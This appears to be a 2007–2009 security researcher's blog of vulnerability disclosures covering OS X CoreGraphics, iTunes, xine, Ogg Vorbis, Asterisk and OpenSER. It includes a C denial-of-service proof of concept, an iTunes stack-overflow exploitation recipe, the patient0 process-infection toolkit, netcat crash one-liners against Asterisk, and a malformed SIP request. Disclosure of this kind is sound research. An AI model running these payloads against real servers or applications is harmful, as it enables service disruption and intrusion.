redpig.dataspill.org

»I ran across a denial of service condition in OS X Leopard's CoreGraphics framework (under the ApplicationServices framework) which was reachable remotely via Safari and Firefox while looking in to an unrelated issue. I had some fun looking in to the bug even though there wasn't much to it.

I mailed the following report to the Apple Product Security Team mid-November 2008. A fix finally appeared in Safari (somewhat silently) this October, and I believe it is fixed system-wide in Snow Leopard, but I haven't yet confirmed.

= Denial of service vulnerability in CoreGraphics framework
= Summary

The CoreGraphics (CG) subframework in OS X Leopard fails to properly
handle mmap(2) failure in its memory management functions leading to
a locked, reused spinlock(3) and possible memory leakage.


= Impact
- (proven)   Denial of Service
- (unlikely) Potential Memory Leak
- (unlikely) May act as an escalation vector for a NULL pointer
            dereferencing attack

Any application which allows for the user-supplied dimensions of
CoreGraphics image while allowing CG to perform the memory management
may result a denial of service if that context's memory allocation
spinlock(3) is reused prior to context destruction.

In addition, questionable error checking may leave mmap(2)ed memory
unfreed and unused if it is possible to cause mmap(2) to return an
allocation at address 0.  This is pretty unlikely for a lot of reasons.


= Proof of concept

* Browse to http://static.dataspill.org/spinlock.html 
  in Safari or Firefox.
* Code sample is appended at the end of this text.
 (These were tested on 32-bit Intel and PPC machines only)


= Analysis:

CGBitmapContextCreateImage() calls the internal function
create_bitmap_data_provider() to create the image data provider for the
final image object.  Since NULL was passed into the context, CG handles
the allocation.   create_bitmap_data_provider() will then call the
internal function mem_allocate().  mem_allocate() handles locking and
unlocking the spinlock(3) stored in a shared structure.  The relevant
code path is as follows:

[preamble]
0x919e4edb <mem_allocate+5>:  sub    esp,0xc0
0x919e4ee1 <mem_allocate+11>: mov    esi,DWORD PTR [ebp+0x10]
0x919e4ee4 <mem_allocate+14>: test   BYTE PTR [ebp+0xc],0xc
0x919e4ee8 <mem_allocate+18>: je     0x919e51fd <mem_allocate+807>
0x919e4eee <mem_allocate+24>: mov    eax,DWORD PTR [ebp+0x8]
0x919e4ef1 <mem_allocate+27>: add    esi,0xfff
0x919e4ef7 <mem_allocate+33>: and    esi,0xfffff000
0x919e4efd <mem_allocate+39>: add    eax,0x230
0x919e4f02 <mem_allocate+44>: mov    DWORD PTR [ebp-0x98],eax
0x919e4f08 <mem_allocate+50>: mov    DWORD PTR [esp],eax
0x919e4f0b <mem_allocate+53>: call   0xa0a26639 <dyld_stub_OSSpinLockLock>
----------------------------> the spinlock(3) is locked.
0x919e4f10 <mem_allocate+58>: shr    DWORD PTR [ebp+0xc],0x3
0x919e4f14 <mem_allocate+62>: movzx  edx,BYTE PTR [ebp+0xc]
0x919e4f18 <mem_allocate+66>: mov    DWORD PTR [esp+0x14],0x0
0x919e4f20 <mem_allocate+74>: mov    DWORD PTR [esp+0x18],0x0
0x919e4f28 <mem_allocate+82>: mov    DWORD PTR [esp+0xc],0x1002
0x919e4f30 <mem_allocate+90>: and    edx,0x1
0x919e4f33 <mem_allocate+93>: cmp    dl,0x1
0x919e4f36 <mem_allocate+96>: sbb    eax,eax
0x919e4f38 <mem_allocate+98>: and    eax,0xfffffffe
0x919e4f3b <mem_allocate+101>:  add    eax,0x36000002
0x919e4f40 <mem_allocate+106>:  mov    BYTE PTR [ebp-0x85],dl
0x919e4f46 <mem_allocate+112>:  mov    DWORD PTR [esp+0x10],eax
0x919e4f4a <mem_allocate+116>:  mov    DWORD PTR [esp+0x8],0x3
0x919e4f52 <mem_allocate+124>:  mov    DWORD PTR [esp+0x4],esi
0x919e4f56 <mem_allocate+128>:  mov    DWORD PTR [esp],0x0
0x919e4f5d <mem_allocate+135>:  call   0xa0a2679c <dyld_stub_mmap$UNIX2003>
-----------------------------> mmap is called
0x919e4f62 <mem_allocate+140>:  cmp    eax,0xffffffff
0x919e4f65 <mem_allocate+143>:  mov    edi,eax
0x919e4f67 <mem_allocate+145>:  je     0x919e58be <mem_allocate+2536>
0x919e4f6d <mem_allocate+151>:  test   eax,eax
0x919e4f6f <mem_allocate+153>:  je     0x919e58be <mem_allocate+2536>
-----------------------------> if mmap() returns 0 or -1, bail;
[snip]
0x919e51ea <mem_allocate+788>:  call   0xa0a26643 <dyld_stub_OSSpinLockUnlock>
-----------------------------> this is bypassed.
[snip]
0x919e58be <mem_allocate+2536>: xor    eax,eax
0x919e58c0 <mem_allocate+2538>: jmp    0x919e59ea <mem_allocate+2836>
[snip]
0x919e59a4 <mem_allocate+2766>: call   0xa0a26643 <dyld_stub_OSSpinLockUnlock>
------------------------------> this is bypassed.
[snip]
0x919e59ea <mem_allocate+2836>: add    esp,0xc0
0x919e59f0 <mem_allocate+2842>: pop    esi
0x919e59f1 <mem_allocate+2843>: pop    edi
0x919e59f2 <mem_allocate+2844>: leave
0x919e59f3 <mem_allocate+2845>: ret

This roughly translates to:
 p = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, 0, 0);
 if (p == MAP_FAILED) return; /* without unlocking */
 if (p == NULL) return; /* without unlocking */

After mem_allocate() fails, create_bitmap_data_provider() logs an error
on behalf of CGBitmapContextCreateImage (via CGPostError) and then
CGBitmapContextCreateImage() continues on its way.  A second call will
result in mem_allocate() blocking forever on the spinlock.

Interestingly, this does not happen with all large allocation requests
in my test environment, but only on a subset of requests where an
allocation zone of the given size can be created in
CGBitmapContextInfoCreate() using calloc() (by way of
CGBitmapAllocateData).  calloc(3) calls malloc_zone_calloc().  This will
allocate virtual memory for the context info but does not require
immediate use of the space.  Because of how OS X handles allocations, it
will only page in large allocations (like 1GB) as they are accessed.
This means that on a reasonable system with >= ~1GB of virtual space,
this attack will work.  For systems with >= ~4GB of virtual memory, this
dangerous locking condition can occur more easily (I'm guessing).

It's also worth noting that this displays another programming error.
mmap(2) does not return 0 (NULL) on failure.  This means that if mmap(2)
succeeds with a mapping at 0, then the memory will be lost when the
error handling logic kicks in and NULL pointers become accessible --
even if the contents are not attacker controlled from this vector.

However, this only appears to be possible if __PAGEZERO is not in
mapped into the given binary or mmap(2) was called with the
MAP_FIXED flag (which is not the case in mem_allocate).


= The Fix:

The easiest fix is to ensure that mmap(2) error handling properly checks
only for MAP_FAILED (and the errno if useful logging is desired).  In
addition, prior to return, the spinlock(3) must be unlocked.

Since I'm not familiar with the CG APIs, it is possible that there is some
error condition that could be checked to indicate that a context should
not be reused, but if so, both Firefox and Safari make the same mistake
shown in the sample code below.


= Acknowledgements:

Thanks to my colleagues Neel Mehta and Tavis Ormandy for invaluable
discussion and review of these findings.


= Code Sample:

/* draw_dos.cc:  denial of service proof of concept
 * Will Drewry
 *
 * g++ draw_dos.cc -framework Carbon -g -ggdb3 -o draw_dos
 * ./draw_dos 16384 16384
 */
#include <stdio.h>
#include <stdlib.h>
#include <Carbon/Carbon.h>

void DrawDoS(size_t width, size_t height) {
 printf("entering from DrawDoS\n");
 CGColorSpaceRef colorspace = CGColorSpaceCreateWithName(
                                kCGColorSpaceGenericRGB);
 /* let CoreGraphics handle the memory so we hit the mem_allocate bug*/
 CGContextRef bitmapCtx = CGBitmapContextCreate(NULL,
                          width, height, 8, 0, colorspace,
                          (kCGBitmapByteOrder32Host|
                           kCGImageAlphaPremultipliedFirst));
 CGImageRef image = CGBitmapContextCreateImage(bitmapCtx);
 CGImageRelease(image);
 /* The second image creation appears to trigger the locking condition */
 image = CGBitmapContextCreateImage(bitmapCtx);
 CGImageRelease(image);
 CGContextRelease(bitmapCtx);
 CGColorSpaceRelease(colorspace);
 printf("returning from DrawDoS\n");
}
int main(int argc, char** argv) {
 if (argc < 3) {
   fprintf(stderr, "Usage:\n%s width height\n", argv[0]);
   return 1;
 }
 size_t width = strtoul(argv[1], NULL, 0);
 size_t height = strtoul(argv[2], NULL, 0);
 DrawDoS(width, height);
 return 0;
}

This was discovered and analyzed on my employer's time. Thanks! …»

»Late 2008, I reported CVE-2009-2468 to Apple when I reported oCERT-2009-001/CVE-2009-1194 to Mozilla. It turns out that not only can you not trust font libraries with user-supplied fonts (duh), but you also can't trust them to safely handle any externally sourced behavior. In the case of Pango, there was a clear integer overflow when computing the memory allocation for the textrun size. Firefox was largely unaffected because it only used the allocated memory once and never afforded the chance to overwrite the undersized allocation. However, this same behavior was seen in Apple's CoreGraphics library which meant that Camino and Safari and anyone else that allowed a remote user to create large text were affected. In this case, though, the code didn't bail out on a memory allocation error. Instead, it indicated memory allocation failures, then proceeded on its merry way. Apple has fixed this bug in their latest Safari patch (HT3733). A few toy test cases can be found here -- nothing fancy. …»

»In April, I ran across a nice bug in iTunes URL parsing which is accessible automatically from Safari.

It turns out that URL components following a colon are copied from the heap buffer containing the URL to a stack buffer. This copy is unbounded which leaves iTunes exposed to a classic stack buffer overflow. However, it comes with a number of constraints:

- the payload must be URL-safe (otherwise it is automatically encoded to %XX)
- the stack is set non-executable

Given these constraints, I had expected a long slog when it came to exploiting the vulnerability. However, it's possible to bypass both of those limitations quite easily.

== Bypassing a non-executable stack

iTunes makes this quite trivial. If we look at the register state when we clobber the stack, we see that the ECX register is a pointer to the heap buffer containing the remaining URL. In particular, we can get it to point to the section just after the '/':

   itms://:STACKBUFFER...EIP/PAYLOAD

With that in place, we just need to find a way to jump the that register...

== Dealing with a URL-safe-only attack payload

The URL-safe attack payload highly restricts the contents that can be sent across. Thankfully, there are ASCII-encoders for x86. So if we can assume we can get working shell code, we still have to figure out how to get to it. Turns out, it's also pretty easy.

Any text preceding the '/' in the URL is truncated with NULs. This means that if we supply alphanumeric characters that address in to the text segment, we can mask the higher order bits using truncation. For instance, ATe/ would become 0x00655441:

    00655441        jmp     *%ecx

Well, now we can jump to our ASCII-encoded payload. The last wrinkle is that the ECX pointer varies depending on the content. That is easily sorted by placing another ':' after the '/' and setting the offset of the ASCII decoder to the length of the additional characters.

- metasploit module: original | trunk
- Windows analysis and exploit

…»

»patient0 is a toolkit for creating system-wide, run-time process infection with the purpose of exploring OS X's trust model.

patient0 provides both a means of infecting processes with custom code and a supporting functionality to make writing custom code, or pathogens, easier. The main idea behind patient0 is that there are a few main processes on a OS X desktop which are used to start software: Dock, Finder, and SystemUIServer. If these three processes carry a payload to be delivered to every process launched, they can act as a highly contagious patient 0 for a given system pathogen.

patient0 does not require any local file system write access to spread and will only leave traces on a system in active memory and in any swapped out memory (to disk for sleep or disuse). In addition, patient0 and its pathogens are packaged as Mach-O bundles which means that they can load and use any available system libraries ranging from SystemB to frameworks like Cocoa and Tcl.

patient0 came about from the realization that much of OS X Leopard's end user security comes from relying on user-level processes. User authorization tokens are granted to unprivileged processes (Software Update, Preferences Panes, etc) which can in turn be used to perform privileged actions. For example, it's possible to remove package validation from Software Update or to pivot a pathogen infection from the user-privilege level to the root-owned launchd process (pid 1) using the authorization token supplied during a Preferences Pane unlock. All of this can be done without even trying to perform direct social engineering attacks on a user (like falsified authorization dialogs) because the code is running _as_ the user-trusted process.

There are any number of possible mitigation techniques for this class of attack, ranging from automatically reissuing kernel task ports on exec*() calls (as is done with setuid apps) to enforcing signed code path access to Security framework calls using something like taskgated (seriously non-trivial). Of course, the easy way out is to move all the authentication work into setuid co-processes, but, of course, that leaves more open attack surface for direct root compromises.

…»

»regfuzz is a barebones regular expression fuzzer which has found numerous vulnerabilities across many regular expression engines.

In late 2007, taviso and I spent a good deal of time examining regular expression engines. We reported a number of vulnerabilities. These vulnerabilities were found using either this tool or manual auditing.

We presented twice on this topic. The slides and pdf can be found below:
- Insecure Context Switching (WOOT'08)
- Regular Exceptions: slides | demos (IT Defense '08)

…»

»Recently, the xine-team requested that someone from oCERT review a few patches to xine. I performed that review and a light security code review of other sections. The details of oCERT-2008-008 follow . . .


1. Exploitable heap buffer overflows

A. In demux_qt.c, function parse_moov_atom() reads in metadata atom
sizes as supplied from the user.  If the size of a metadata atom,
like artist, is 0xf, the resulting atom size is 0. Prior to reading
in the atom string, xine_malloc() is called with this undersized
value resulting in an allocation of 1 byte.  The allocated space is
then the target of a strncpy. When called, strncpy() is supplied the
atom string size minus 1.  This wraps the value to UINT_MAX making
strncpy to copy until a (NUL) 0x00 byte is seen. This results in a
highly controllable heap buffer overflow.

B. In demux_matroska.c, the function parse_block_group() is vulnerable
to a heap overflow through the abuse of ebml element length values.
In particular, when processing MATROSKA_ID_CL_BLOCK the element
length is passed into read_block_data().  read_block_data() treats
the length as a signed 32-bit in and passes it to
alloc_block_data().  This function performs a simple check: if the
current block_data_size is less than the supplied length, then it
re/malloc()s the given length. This buffer and the length is then
passed in to the input plugin's read() function.  This opens up a few
avenues of attack.  The first is since the allocation is unchecked, a
NULL value may be read() over - resulting in a segmentation fault in
most cases.  However, if the CL_BLOCK is processed twice, the first
can specify a valid size and provide valid data.  However, a second
CL_BLOCK can give a negative size.  This will cause
alloc_block_data() to not reallocate the buffer, but the input plugin
will still be given the user-supplied length for reading.  This will
result in a heap buffer overflow.  In particular, if the source data
file ends within a reasonable size, the heap buffer can be
overwritten without writing past the available pages to the process.
The read() function will then return an error indicating failure.  If
the length given was -1, then read_block_data() will still evaluate
the read() as success and continue on as if nothing happened.
However, if another negative value is used, the process will return
failure up the stack.

C. In demux_real.c, real_parse_audio_specific_data() uses a
user-supplied height (codec_data_length) as the divisor when
calculating frame_size.  It may be zero, resulting in a divide by
zero. In addition, there is not check for successful frame_buffer
allocation which may result in NULL dereferences later.  In addition
to a divide by zero, if sps is 0 and w and h are both 65535 (they are
read as 16-bit ints), then the frame_size will overflow resulting in
an underallocation. If sps is non-zero, it is also possible to
incorrectly calculate the frame_size.  It appears that this is
exploitable.  In demux_real_send_chunk(), if the audio type is
BUF_AUDIO_COOK, ..._ATRK, ..._28_8, or ..._SIPRO, the frame buffer
will be populated as the width and height are traversed.  This allows
for a direct overflow which is somewhat controllable.  In particular,
the easiest way to limit the total length is to truncate the source
data after overflowing the buffer sufficiently.  However, there are
other tweaks which allow fine grain control.  COOK and ATRK both use
'sps' to control the increment read while SIPRO uses the width (w),
and 28_8 uses the 'cfs' -- all of these values user-supplied.

D. In demux_realaudio.c, open_ra_file() calculates the frame size using
two (or three, depending) values with a maximum of 65535 each.  When
three values are used, the frame size calculation may overflow.  This
allows for a similar attack described in above in 1-C. In addition,
the xine_xmalloc() call is unchecked so even a failed allocation
would slip through and result in a crash.

E. In id3.c, id3v23_interp_frame() allocates a buffer for reading the
frame using the user-supplied size and adds 1.  This allows the size
to wrap to 0 creating an empty, but successful, malloc() allocation.
Next, read will be called using the original size.  Depending on the
plugin, this will either read until the data ends/a segfault occurs
or it will trigger the negative-length mentioned bugs.  If it is the
input_file, then the buffer can be overflowed and the amount
controlled by the remaining file size. (Note, the over-sized value is
read in at 566 and bypasses the checks n 569 since the value will
wrap.)


2. Potentially exploitable

A. In demux_mng.c, mymng_process_header() accepts a width and height as
arguments.  These are then multiplied by 3 for image allocation.  Not
only is the integer operation unchecked, but the allocation is also
unchecked for failure.  The source of the width and height was not
determined, thus the 'potential' rating.

B. In demux_mod.c, open_mod_file() relies on the input plugin to supply a
filesize.  This size is then used in malloc() without checking to see
if the allocation failed.  With input types like input_net.c, this
will result in a 0-sized allocation, but with input_file.c a large,
or invalid, file entry would be required to cause trouble.  However,
filesize may also come from plugins like input_http.c.  In this case,
the filesize is supplied by the server which provides an easier
attack surface.  For example, if the filesize is -1, the read() check
will pass (if an 'error' occurs), and the negative value will be
passed into ModPlug_Load. However, the libmod code was not reviewed
and a large, or negative, content size may trigger the input plugin
systemic read() issues discussed below.

C. In demux_real.c, real_parse_mdpr() uses a string_name_size supplied
by the user.  This size is represented as a char type.  This size is
then used in an allocation where 1 is added, presumably for the NUL
character.  If the char size is 255 (or -1), then when 1 is added,
the value will wrap to 0.  This will result in an allocation of size
0.  After allocation, a memcpy() occurs of the user-supplied data.
If char is signed (default), then this will result in a segmentation
fault as 0xff will be extended to 0xffffffff and memcpy() will read
and/or write out of bounds.  This affects mime_type and
mime_type_size as well. In addition, the type_specific_data
allocation is not checked for failure not for a zero-valued size, an
unexpected process termination issue.


3. Unexpected process termination and other issues

A. Many of the input plugins improperly handle negative-valued lengths
during read function calls.  In most cases, the length is handled as
an off_t.  (Even though this may be 64-bit, it is still signed and
type promotion will usually keep -1 a -1.)  Depending on the read
state, a check for a preview may be done.  If so, this will result in
the length being used to memcpy() data from a preview buffer.  In
general, this will result in a crash.  Many of the input plugins are
affected: - input_file.c, input_net.c, input_smb.c, input_http.c, ...
In some cases, even a 0 size may result in misbehaving.  In
input_http.c, after the preview checks, if the supplied length (nlen)
is 0, the length used (n) will become negative after: 446:   n = nlen
- num_bytes; In all of these cases, buffer overflows are completely
possible as well as out of bounds reads. If the source data is
attacker controlled, like a file, http response, and so one, then it
may be possible to use these functions to aid a targeted heap buffer
overflow. 1-B is a good example where the negative value allows the
attacker to exploit allocation as opposed to just causing a crash.

B. In demux_qt.c, parse_reference_atom() takes a user-supplied
size for a string of an RDRF_ATOM.  If the current_atom_size and
string_size are both supplied as 0xffffffff, then code will allocate
a buffer of 1 (or some value offset by the url text).  This will
result in an unbounded memcpy(), most likely resulting in a process
crash. (If SIGSEGV signals are trapped with subsequent heap access,
this may be exploitable.)

C. In demux_matroska.c, the handling of the MATROSKA_ID_TR_CODECPRIVATE
track entry element relies on a user-supplied length for allocation
and no failure check is present prior to use.  Given that the buffer
is 0, this will most likely result in a SIGSEGV signal. However, if
there is no data to read from the file, this will result in the
read() function returning -1 (i.e., with input_file). The read return
value is compared against a 64-bit cast of the element size (-1 ->
-1) in ebml.c:190, but type promotion should make the -1 values
equal.  ebml_read_elm_data will return successfully, and xine-lib
will continue executing. In most cases, it appears the size and/or
NULL allocation will be ignored. But in other cases, it will be
directly accessed (fourcc) or the size used in allocation (MPEG4).
The case of the MPEG4 codec, a malloc() is based on the supplied
length plus a sizeof() which will overflow.  Unfortunately, this may
only corrupt the heap bookkeeping a small amount
(demux_matroska.c:1308) prior to a memcpy() which will result in a
segmentation fault.

D. In demux_qt.c, a compressed MOV (CMOV_ATOM) may result in an out of
bounds read by zlib during inflation.  In particular, a small
moov_atom_size will underflow when avail_in is set (demux_qt.c:2191).
This will allow inflate() to read well past the available data.
Given that the size of the output buffer is also user-supplied
(2192), enough space can be allocated to allow zlib to either return
with an error or cause the process to crash.

E. In demux_qt.c, when allocating STSD_ATOM atoms, calloc() is used with
a user-supplied count.  In general, this is safe, but if the count is
0, calloc() will still return successfully (on many systems). This
may result in unexpected behavior. In this case, it may result in the
pointer being used as the media_id (with MEDIA_VIDEO) which in turn
makes it into the trak->properties.  This may result in out of bounds
memory accesses, heap corruption, or worse.

F. In demux_real.c, real_parse_headers() reads a chunk size and type from the
user.  If the type is PROP_TAG, MDPR_TAG, or CONT_TAG, then the chunk
size is used in an allocation.  Allocation failure is unchecked and
an immediate read may result in a segmentation fault.  In addition,
the chunk_size is used as the data_chunk_size.  This is used to
calculate the normpos which is used to output video.  Given that this
wasn't analyzed further, it's unclear if additional exploitable
conditions exist.

G. In demux_real.c, real_parse_headers() uses a user-supplied length to
reindex into an allocated buffer (523, 524).  The length is unchecked
and may point outside of the allocated region. This will result in an
out of bounds read which may result in a crash. In addition, the
other accesses of of type_specific_data do not ensure that it is of
sufficient size.  Line 512 may read past the allocated space. Line
520 may pre-index the buffer if the specific_len is less than 5. Line
527 may also read past the end of the buffer, and so on.

Updated details and analysis can be found over at oCERT. …»

»Version 0.3.1 of safe_iop is now available. I had managed to typo the safe_sadd function and then did not test thoroughly. This is fixed in trunk with many tests. 0.3.1 contains the fix (backported) and one test. Hopefully, when the 0.4.0 release comes around, all my test cases will be much, much more thorough. …»

»Version 0.3 of safe_iop is now available. In addition, safe_iop now has its own home on google project hosting! This change brings about a cleaner completely macro-based interface. In addition, it frees itself from the quagmire of broken header files (for the most part) with regard to type limits. Please see the README in the tarball for more! Detailed plans and changes:

 To Do:
 - Add varargs style interface for safe_()
 - Add support for safe conversion
 - Add additional sizes to safe_iopf (currently 32-bit only)
   (this will make use of the safe conversion above)
 - Add left shift support
 - Add more test cases for interfaces (op_mixed)
 - Add more tests for edge cases I've missed? and for thoroughness

 History:
 = 0.3
 - solidified code into a smaller number of macros and functions
 - added typeless functions using gcc magic (typeof)
 - deprecrated old interfaces (-DSAFE_IOP_COMPAT)
 - discover size maximums automagically
 - separated test cases for easier understanding
 - significantly expanded test cases
 - derive type maximums and minimums internally (checked in testing)
…»

»Version 0.2 of safe_iop is now available.

  To Do:
  - Add left shift support
  - Add additional sizes to safe_iopf (currently 32-bit only)
  - Add more architecture dependent types
  - Add 24-bit helpers
 
  History:
  = 0.2
  - Removed dependence on twos complement arithmetic to allow macro-ized definitions
  - Added (s)size_t support
  - Added (u)int8,16,64 support
  - Added portable inlining
  - Added support for NULL result pointers
  - Added support for header-only use (safe_iop.c only needed for safe_iopf)
  = 0.1
  - Initial release
…»

»Multiple vulnerabilities in Ogg Tremor and Vorbis After running across a number of stack overflows in the older low-mem branch that don't longer exist in (tremor) trunk, a revisit to the codebase revealed a number of remaining vulnerabilities.

Background
Ogg Vorbis and Tremor are libraries for decoding Ogg media files. Tremor does so without relying on floating point unit support.
Details
Below are some unrefined findings. Monty(@xiph.org) was kind enough to take on analysis and patching when I reported preliminary information. In addition, various Linux vendors also contributed analysis and testing results, like Tomas Hoger of Redhat. Thanks!! So, the basic findings --

Tremor --
= NULL pointer dereference
+ Looks like it is related to incorrectly checking for valid data
after valid headers are read
- Samples: 010.ogg 011.ogg
* oggpack_readinit (b=0xffffcb8c, r=0x0) at bitwise.c:69:
b->headptr=b->head->buffer->data+b->head->begin;

= Divide by zero
+ The dimension of the codebook are used as the divisor without
checking to see if it is greater than zero
- Samples: 002.ogg
* _book_maptype1_quantvals (b=0x0) at sharedbook.c:150:  int
vals=b->entries>>((bits-1)*(b->dim-1)/b->dim);

= Divide by zero
+ partitions_per_word is zero and it SIGFPEs
- Samples: 014.ogg
* res012.c:278:res2_inverse.c:()         int
partwords=(partvals+partitions_per_word-1)/partitions_per_word;

= Integer overflow leading to a heap overflow
+ This occurs when partvals is derived from the supplied partition
  count and dimensions is moderately large.
- No sample
* res012.c:157-160

Vorbis --
= Infinite loop and/or crashing due to stack corruption
+ Looks to be related to the inline math functions. After the line
below, b and vals are the same value.  (dim==0 issue)
- Samples: 002.ogg
* _book_maptype1_quantvals (b=0x8065f20) at sharedbook.c:151:   long
vals=floor(pow((float)b->entries,1.f/b->dim));

= Additional corruption in pre-1.0 Vorbis
+ Tomas and Monty nailed this down to _make_decode_tree()
- Samples: 003.ogg, 004.ogg, 005.ogg


Vorbis and Tremor --
= Integer overflow in the computation of quantvals and of the space required for quantlist.
+ A codebook has 16-bit dimensions and 24-bit entries.  quantvals, the size of 
quantlist, is calculated by mutliplying them together.  This can easily overflow the 
unsigned 32-bit integer quantvals is stored in.  In addition, on ogg_malloc() of the 
quantlist, quantvals is multiplied times the size of a quantlist entry (4).  This is 
another integer overflow.  If only the second case is attacked, a straight heap 
overflow occurs in the subsequent for loop.  If the first one is attacked, then later
 out of bounds reads occur in decoding.  Note, the map type must be 2 for this to be 
reachable.  It's also worth noting that the range of the entries in the quantlist may
be up to 4 bits + 1.

- Samples: maptype2.ogg



Tremor/lowmem --
Most of the findings above in Tremor along with a large number of
potentially exploitable stack buffer overflows. Sample 001.ogg is 
good example of the codebook stack buffer overflow.

All of the samples can be found here. [Please go easy on my bandwidth!]
Impact
The impact of these vulnerabilities largely depends on the context of use. Denial of service attacks are quite simple and there is potential for successful code execution.
Remediation
Upgrade to the latest patched versions supplied by your vendor.
Testing methodology
Testing was primarily done using fuzz and flayer. Initial testing of tremor was handled with a simple test harness built on the supplied example_ivorbisfile.c. Purely random data sampled from /dev/urandom was fed to the example application. With flayer, clearly blocking checks were bypassed (memcmp for OggS and the page checksum test).

With the basic checks successfully removed (without recompilation, etc), fuzz was used against an existing, valid Ogg file applying the "Mexican Wave" byte-modification algorithm.

Once the wave had reached the codebook headers, numerous crashes occurred. With samples in tow, valid checksums were inserted (by snooping the test in gdb with a debugging build). The backtraces were then followed, and the vectors of the attack isolated. Once I saw the behavior in the codebook functions, I modified libvorbis to generate codebook entries based on environment variables (getenv()). Using the modifying library, I created a number of samples with unlikely and unchecked values. In some cases, the encoder would not be able to handle these cases and modifications were made dynamically during encoding using gdb.

The results can be found here.
References
  • CVEs: CVE-2008-1418,CVE-2008-1419, CVE-2008-1420, CVE-2008-1423, CVE-2008-2009
  • Credit
    Thanks to my employer who sponsored some of this work, and to Tomas Hoger of Redhat, and Monty and Ralph of Xiph for the hard work in getting everything up to date. (And to coley@mitre for dealing with the back and forth and CVE assignments!) …»

    »On Monday, I presented Flayer: Exposing Application Internals at the First USENIX Workshop on Offensive Technologies (WOOT'07). Flayer is a tool that I wrote for use in my everyday work. It allows me to trace input through an application extracting the locations where that data traverses conditional branches (ifs) and where it is used in system calls. (It traces this data with bit-precision.) Armed with the locations where the data is used, Flayer can force the tainted code path to behave differently by changing the outcome of conditional jumps and stepping over function calls. I use this functionality to bypass banner checks, version checks, magic checks, etc in applications when I need to test them. Once the outer layer of an application has been removed (flayed), I use classic fuzz testing techniques against the exposed code without needing full protocol awareness or other large initial investments other testing approaches have.

    To speed testing up, I wrote a helper program, named MKF, that uses ptrace to perform the same check-bypassing modifications on binaries at runtime without relying on Flayer (which has all the overhead of Valgrind/MemCheck). This gives me the best of both worlds: high speed fuzzing with the targeting of Flayer.

    In addition to testing, I find that tracing input and modifying execution behavior on-the-fly is excellent for learning about an application quickly. This approach allows me to determine attack surfaces based on what functions are traversed without digging around the code for a while first. In a similar vein, I've also used Flayer to compare code paths that are followed in patched versus unpatched applications with the included interactive shell, flayersh.

    Of course, the best part is that I was able to release Flayer publicly. This makes it available to everyone to try out and change. I hope that this turns out to be as useful for other people as has been for me.

    That aside, the workshop itself was well-sized at around thirty people with several interesting talks. In particular, I enjoyed Robert Watson's "Exploiting Concurrency Vulnerabilities in System Call Wrappers". While time-of-check-time-of-use problems with system call wrappers have been discussed before, it was great to see some code for exploiting these problems across operating systems. …»

    »An out of bounds memcpy() and integer underflow in Asterisk 1.4.x.

    [=] The chan_skinny.c vulnerability reported last year was not patched properly.
    [-] Sending 8 NUL bytes to an Asterisk server using the chan_skinny module
       results in a segmentation fault due to an overly large memcpy(). In the
       get_input() function of channels/chan_skinny.c, the length as read from the
       user-supplied data is checked if it is less than zero and if it is greater
       than the size of the inbuf (s->inbuf).  The supplied length is used in a
       memcpy() in skinny_req_parse():
          memcpy(....., len-4)
       Any length of 3 or less will result in the extremely large memcpy.  A
       length of 0 results in an empty skinny request object.  The side effect of
       that has not been investigated.
    [+] Please see the attached patch for a simplistic solution.  More aggressive,
       documented checking is advisable.
    [*] Any Asterisk-based code listening for skinny traffic is susceptible to this
       attack.  It requires no authentication or system-specific knowledge.
    [?] To reproduce, run an asterisk server with skinny channel support (defaulting
       to TCP/2000). The following command will result in a crash:
         ruby -e 'print "\x00" * 8' | nc asterisk 2000
    
    [=] An out of band read in the RTP handling code exists due to poor length
       checking.
    [-] The RTP handling code forks for cases where the packet appears to be a STUN
       packet.  The fork occurs in ast_rtp_read(), shunting the packet to
       stun_handle_packet().  On line 446, a while loop is defined with the
       predicate of "while(len)".  'len' is defined as a size_t and is the size of
       the payload read from the socket.  On each loop, 'len' is decremented by a
       packet-supplied STUN attribute length and the size of the stun_attr struct.
       There are two checks against 'len': (1) break if len  < sizeof(struct
       stun_attr), (2) break if attr->len > len.   Since 'len' is decremented by
       both values, it is possible to craft a packet of the correct length with
       the correct embedded STUN attribute length to cause 'len' to be decremented
       past 0.  For example, if 'len' is equal to the size of a stun_attr struct
       and 'attr->len' is equal to 'len' then 'len' will be decremented by twice
       its value.  Once it flips, the associated 'data' pointer will be
       incremented out of accessible memory and the server will crash.
    [+] Since 'len' is unsigned, it is not sufficient to attempt to check for it
       becoming negative.  In addition, data would still be increment out of
       bounds.  Instead, a check should be added to ensure that 'len' is no less
       than the total value it will be decremented by.  The attached patch
       performs those checks.
    [*] Any active asterisk server with open RTP-based media connections is
       vulnerable.  No information about the session  is required, and given the
       small size of the payload, it is possible to spray this data at all
       standard RTP ports very quickly with a spoofed source address.
    [?] To reproduce, run the following command against your asterisk server,
       'asterisk', on a port with an open RTP session on 'rtpport':
         ruby -e 'print "\x00\x01\x00\x18"*6' | nc -u asterisk rtpport
    
    References
    • CVE-2007-3764
    • CVE-2007-3765
    Credit
    This work was sponsored by my employer. …»

    »An integer overflow in OpenSER's TCP connection handling code allows for a NUL byte to be written to an attacker controlled location in a 2Gb range of the attacked pointer.

    Details
    On line tcp_read.c:193, openser will take the user-specified Content-Length header and test it against the remaining bytes read. If the content-length is less than the total bytes read, it will assume that the rest is unneeded and set the integer tracking remaining bytes to the value of the content-length. This value is then used to increment a pointer into the user data. The content-length is stored in a signed 32-bit integer. If a value greater than INT_MAX (>=2^31) is given, it is treated as a negative value. The content-length is always used to increment the pointer and later, a '\0' character is written to the location of the decremented pointer. It is possible to write a 0 to data in the heap or in the stack.
    Remediation
    There are many possible fixes for this vulnerability. The simplest of which is to modify the if block in tcp_read_req() where a non-zero content length is checked for. As of this post, most available OpenSER versions have been updated. If you are running an old version, update!
    Proof of concept
    A sample request may look as follows:
     INVITE sip:root@127.0.0.1 SIP/2.0
     Via: SIP/2.0/UDP localhost.localdomain:9090;branch=z9hG4bK00000000001
     From: 0 <sip:user@localhost.localdomain>;tag=0
     To: Receiver <sip:root@127.0.0.1>
     Call-ID: 1@localhost.localdomain
     CSeq: 1 INVITE
     Contact: 0 <sip:user@localhost.localdomain>
     Expires: 1200
     Max-Forwards: 1
     Content-Type: application/sdp
     v=0
     o=0 0  0 IN IP4 localhost.localdomain
     s=Session SDP
     c=IN IP4 127.0.0.1
     t=0 0
     m=audio 9876 RTP/AVP 0
     a=rtpmap:0 PCMU/8000
     Content-Length: 4294966690
